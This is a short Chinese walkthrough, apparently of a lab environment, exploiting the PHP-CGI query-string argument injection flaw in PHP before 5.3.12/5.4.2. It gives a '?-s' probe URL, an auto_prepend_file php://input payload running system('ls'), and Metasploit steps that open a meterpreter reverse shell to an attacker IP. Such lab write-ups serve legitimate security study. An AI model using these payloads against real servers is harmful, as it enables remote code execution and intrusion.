PHP-CGI远程代码执行漏洞
这个古老的漏洞,其实就是用户请求的querystring被作为了php-cgi的参数,命令行参数不仅可以通过
#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。
影响版本
< php-5.3.12
php < 5.4.2
mod方式、fpm方式不受影响
CGI模式下可控命令行参数
c 指定php.ini文件(PHP的配置文件)的位置
n 不要加载php.ini文件
d 指定配置项
b 启动fastcgi进程
s 显示文件源码
T 执行指定次该文件
h和? 显示帮助
漏洞利用
该站点在8080端口,访问即可
在后面加上-s,若返回源码,则说明存在此漏洞
http://ip:8080/index.php/?-s
执行代码
这里可以通过使用-d来指定auto_prepend_file制造任意文件包含漏洞,使用burpsuite抓包,然后修改数据包内容。使用“+”代替空格%3d代替“=”
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php echo system("ls"); ?>
反弹shell
这里我用了Metasploit
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
set rhosts 目标ip
set rport 8080
set payload php/meterpreter/reverse_tcp
set lhost 攻击ip
配置如下
配置好了之后执行命令开始攻击